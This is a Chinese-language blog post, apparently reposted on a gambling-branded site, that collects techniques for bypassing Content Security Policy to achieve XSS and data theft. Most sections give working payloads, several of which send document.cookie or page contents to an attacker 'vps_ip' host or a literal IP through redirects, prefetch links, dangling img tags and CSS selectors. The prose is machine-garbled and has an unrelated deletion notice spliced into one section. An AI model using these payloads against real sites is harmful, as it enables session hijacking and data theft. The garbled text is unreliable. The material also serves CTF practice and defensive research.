我的CSP绕过思绪及总结 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

我的CSP绕过思绪及总结

申博_新闻事件 申博 92次浏览 未收录 0个评论

CSP简介

内容平安战略(CSP)是一种web应用技术用于资助减缓大局部范例的内容注入进击,包罗XSS进击和数据注入等,这些进击可完成数据盗取、网站损坏和作为歹意软件分发版本等行动。该战略可以或许让网站管理员指定客户端许可加载的各种可信任资本。
现代网站太轻易收到XSS的进击,CSP就是一个一致有用的防备网站收到XSS进击的防备要领。CSP是一种白名单战略,当有从非白名单许可的JS剧本出如今页面中,浏览器会阻挠剧本的实行。
CSP的细致引见可以或许看看手册内容平安战略

CSP的绕过

CSP的绕过从CSP的降生最先就一向被前端的平安研究人员所热中,本文总结一些我相识到的CSP的绕过体式格局,如有缺乏,敬请批评增补

location.href

CSP不影响location.href跳转,因为现今大局部网站的跳转功用都是由前端完成的,CSP若是限定跳转会影响很多的网站功用。以是,用跳转来绕过CSP猎取数据是一个全能的设施,虽然对照轻易被发明,然则在大局部状况下关于我们已够用
当我们已可以或许实行JS剧本的时刻,然则因为CSP的设置,我们的cookie没法带外传输,就可以或许接纳此要领,将cookie打到我们的vps上

location.href = "vps_ip:xxxx?"+document.cookie

有人跟我说可以或许跳过去再跳回来,然则如许不是会死循环一向跳来跳去吗2333333
应用前提:

  1. 可以或许实行恣意JS剧本,然则因为CSP没法数据带外

link标签致使的绕过

这个要领着实对照老,客岁我在我机械上试的时刻还行,如今就不行了
因为这个标签事先还没有被CSP束缚,固然如今浏览器大局部都束缚了此标签,然则老浏览器应当照样可行的。
以是我们可以或许经由过程此标签将数据带外

<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">

<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">

固然这个是我们写死的标签,怎样把数据带外?

var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);

如许就可以或许把cookie带外了
应用前提:

  1. 可以或许实行恣意JS剧本,然则因为CSP没法数据带外

运用Iframe绕过

当一个同源站点,同时存在两个页面,个中一个有CSP珍爱的A页面,另一个没有CSP珍爱B页面,那末若是B页面存在XSS破绽,我们可以或许直接在B页面新建iframe用javascript直接操纵A页面的dom,可以或许说A页面的CSP防护完整失效
A页面:

<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>

B页面:

<!-- B页面 -->

<!-- 下面模仿XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>

我的CSP绕过思绪及总结
setTimeout是为了守候iframe加载完成
应用前提:

  1. 一个同源站点内存在两个页面,一个页面存在CSP珍爱,另一个页面没有CSP珍爱且存在XSS破绽
  2. 我们须要的数据在存在CSP珍爱的页面

用CDN来绕过

一般来说,前端会用到很多的前端框架和库,局部企业为了减轻效劳器压力或许其他缘由,可能会援用其他CDN上的JS框架,若是CDN上存在一些低版本的框架,就可能存在绕过CSP的风险
这里给出orange师傅绕hackmd CSP的文章Hackmd XSS
案例中hackmd中CSP援用了cloudflare.com CDN效劳,因而orange师傅接纳了低版本的angular js模板注入来绕过CSP,以下

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>

这个是存在低版本angular js的cdn效劳商列表
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76
除低版本angular js的模板注入,另有很多库可以或许绕过CSP
下面援用https://www.jianshu.com/p/f1de775bc43e
若是用了Jquery-mobile库,且CSP中包罗”script-src ‘unsafe-eval'”或许”script-src ‘strict-dynamic'”,可以或许用此exp

<div data-role=popup id='<script>alert(1)</script>'></div>

还好比RCTF2018问题涌现的AMP库,下面的标签可以或许猎取名字为FLAG的cookie

<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

blackhat2017有篇ppt总结了可以或许被用来绕过CSP的一些JS库
https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
应用前提:

  1. CDN效劳商存在某些低版本的js库
  2. 此CDN效劳商在CSP白名单中

站点可控静态资本绕过

给一个绕过codimd的(实例)codimd xss
案例中codimd的CSP中运用了www.google-analytics.com
而www.google.analytics.com中供应了自定义javascript的功用(google会封装自定义的js,以是还须要unsafe-eval),因而可以或许绕过CSP
我的CSP绕过思绪及总结

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

我的CSP绕过思绪及总结

同理,若其他站点下供应了可控静态资本的功用,且CSP中许可了此站点,则可以或许接纳此体式格局绕过
应用前提:

  1. 站点存在可控静态资本
  2. 站点在CSP白名单中

站点可控JSONP绕过

JSONP的细致引见可以或许看看我之前的一篇文章https://xz.aliyun.com/t/4470
大局部站点的jsonp是完整可控的,只不过有些站点会让jsonp不返回html范例防备直接的反射型XSS,然则若是将url插进去到script标签中,除非设置x-content-type-options头,否者只管返回范例不一致,浏览器依旧会当做js举行剖析
以ins’hack 2019/的bypasses-everywhere这道题为例,问题中的csp设置了www.google.com

Content-Security-Policy: script-src www.google.com; img-src *; default-src 'none'; style-src 'unsafe-inline'

看上去异常完美无缺,然则google站点存在了用户可控jsonp

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">

<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>

我的CSP绕过思绪及总结
合营解释符,我们便可实行恣意js
下面是一些存在用户可控资本或许jsonp对照经常使用站点的github项目
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180
应用前提:

  1. 站点存在可控Jsonp
  2. 站点在CSP白名单中

Base-uri绕过

第一次晓得base-uri绕过是RCTF 2018 rBlog的非预期解https://blog.cal1.cn/post/RCTF 2018 rBlog writeup
当效劳器CSP script-src接纳了nonce时,若是只设置了default-src没有分外设置base-uri,就可以或许运用<base>标签使以后页面上下文为本身的vps,若是页面中的正当script标签接纳了相对路径,那末终究加载的js就是针对base标签中指定url的相对路径
exp

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'">
<base href="//vps_ip/">
<script nonce='test' src="2.js"></script>

我的CSP绕过思绪及总结
我的CSP绕过思绪及总结
注重:若是页面的script-src不是接纳的nonce而是self或许域名ip,则不能运用此要领,因为vps_ip不在csp白名单内

应用前提:

CVE-2019-2725 二次反序列化jndi注入剖析

鉴于漏洞危害较大,作者将文章删除,麻烦管理删除一下,谢谢了。

  1. script-src只运用nonce
  2. 没有分外设置base-uri
  3. 页面援用存在相对路径的<script>标签

不完整script标签绕过nonce

斟酌下以下场景,若是存在如许场景,该怎样绕过CSP

<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
  //do some thing
</script>

若是我们输入 http://127.0.0.1/2.php?xss=<script src=data:text/plain,alert(1) 便可xss
这是因为当浏览器遇到一个左尖括号时,会酿成标签最先状况,然后会一向延续到遇到右尖括号为止,在个中的数据都会被当做标署名或许属性,以是第五行的<script会酿成一个属性,值为空,以后的nonce=’xxxxx’会被当做我们输入的script的标签的一个属性,相当于我们盗取了正当的script标签中的nonce,因而胜利绕过了scripr-src
我的CSP绕过思绪及总结

然则在chrome中,虽然第二个<script 被当做了属性名,但依旧会滋扰chrome对标签的剖析,形成毛病,使我们的exp没法胜利实行
我的CSP绕过思绪及总结
这里可以或许用到标签的一个技能,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器疏忽

<!-- 3.php -->
<h1 a="123" b="456" a="789" a="abc">123</h1>

我的CSP绕过思绪及总结

因而我们可以或许输入 http://127.0.0.1/2.php?xss=123<script src="data:text/plain,alert(1)" a=123 a=
先新建一个a属性,然后再新建第二个a属性,如许我们就将第二个<script赋给了第二个a属性,浏览器在剖析的时刻直接疏忽了第二个属性及其背面的值,如许exp就可以胜利在chrome浏览器上实行
我的CSP绕过思绪及总结
应用前提:

  1. 可控点在正当script标签上方,且个中没有其他标签
  2. XSS页面的CSP script-src只接纳了nonce体式格局

object-src绕过(PDFXSS)

如果只要这一个页面,我们能有设施实行JS吗

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<?php echo $_GET['xss']?>

在CSP规范内里,有一个属性是object-src,它限定的是<embed> <object> <applet>标签的src,也就是插件的src
因而我们可以或许经由过程插件来实行Javascript代码,插件的js代码其实不受script-src的束缚
最常见的就是flash-xss,然则flash着实太老,而且我想在看的师傅们也很少会开浏览器的flash了,以是我这里也不说清楚明了,这里主要讲之前一个提交asrc的pdf-xss为例
PDF文件中许可实行javascript剧本,然则之前浏览器的pdf剖析器其实不会剖析pdf中的js,然则之前chrome的一次更新中倏忽许可加载pdf的javascript剧本

<embed width="100%" height="100%" src="//vps_ip/123.pdf"></embed>

我的CSP绕过思绪及总结
固然pdf的xss并非随心所欲,好比pdf-xss其实不能猎取页面cookie,然则可以或许弹窗,url跳转等
细致可以或许看看这篇文章https://blog.csdn.net/microzone/article/details/52850623
内里有上面实例用的歹意pdf文件

固然,上面的例子并没有设置default-src,以是我们可以或许用外域的pdf文件,若是设置了default-src,我们必需找到一个pdf的上传点,(固然能上传的话直接接见这个pdf就可以xss了2333),然后再用标签援用同域的pdf文件

应用前提:

  1. 没有设置object-src,或许object-src没有设置为’none’
  2. pdf用的是chrome的默许剖析器

SVG绕过

SVG作为一个矢量图,然则却可以或许实行javascript剧本,若是页面中存在上传功用,而且没有过滤svg,那末可以或许经由过程上传歹意svg图象来xss

之前的easer CONFidence CTF就出过svg的xss
援用 https://www.smi1e.top/经由过程一道题相识缓存投毒和svg-xss/
1.svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

我的CSP绕过思绪及总结
应用前提:

  1. 可以或许上传svg图片

不完整的资本标签猎取资本

看看下面的例子,我们怎样把flag给带出来

<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;">
<?php echo $_GET['xss']?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>

这里可以或许注重到img用了*,有些网站会用很多外链图片,以是这个状况其实不少见
虽然我们可以或许新建恣意标签,然则因为CSP我们的JS其实不能实行(没有unsafe-inline),因而我们可以或许用不完整的<img标签来将数据带出

exp: http://127.0.0.1/2.php?xss=<img src="//VPS_IP?a=
此时,因为src的引号没有闭合,html剖析器会去一向寻觅第二个引号,引号个中的大局部标签都不会被剖析,以是在第四行的第一个引号前的一切内容,都会被当做src的值被发送到我们的vps上
我的CSP绕过思绪及总结
须要注重的是,chrome下这个exp其实不会胜利,因为chrome不许可发出的url中含有回车或<,否者不会发出
我的CSP绕过思绪及总结
应用前提:

  1. 可以或许加载外域资本 (img-src: *)
  2. 须要猎取页面某处的信息
  3. 欠好总结,看上面例子,懂意义就行

CSS选择器猎取内容

这个来自2018 SECCON CTF的一道题,虽然原题中不是用来绕csp,然则也能拿过来应用,固然应用前提对照刻薄,须要
设置style-src为*,或许只设置了script-src
原题可以或许看看这篇文章https://www.yourhome.ren/index.php/sec/608.html
也许思绪就是css供应了选择器,当选择器到对应元素的时,可以或许加载一个外域要求,相当于sql的盲注

//这里援用的是上面文章中的exp
input[value^="6703"] {background-image:url("http://vps_ip/?6703");}

这句话的意义是,当input的value值已6703开首,则去加载背面的url,因而我们可以或许一名一名爆破,先猜第一名,再猜第二位。。。

<meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; style-src 'unsafe-inline';img-src *">
<?php echo $_GET['xss']?>
<input value="flag{0xffff}">

exp: http://127.0.0.1/1.php?xss=<style>input[value^="flag{0xffff}"] {background-image:url("http://47.106.65.216:1002/?flag{0xffff}")}%3C/style%3E
我的CSP绕过思绪及总结
太刻薄了,之前想到随意提一下好了
应用前提:(好刻薄啊都不想写了)

  1. style许可内敛,img可以或许跨域
  2. 须要猎取的数据在页面内
  3. 可以或许新建标签
  4. 可以或很屡次发送xss且猎取的数据不会变(究竟结果不可能一次要求就注出来,除非能实行js写剧本一口气注)

CRLF绕过

HCTF2018的一道题,当一个页面存在CRLF破绽时,且我们的可控点在CSP上方,就可以或许经由过程注入回车换行,将CSP挤到HTTP返回体中,如许就绕过了CSP
原题github https://github.com/Lou00/HCTF2018_Bottle

这个道理对照简单,就不写前提了

后话

小我总结的一些csp绕过思绪,并非很全,如有缺乏,敬请批评增补


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明我的CSP绕过思绪及总结
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址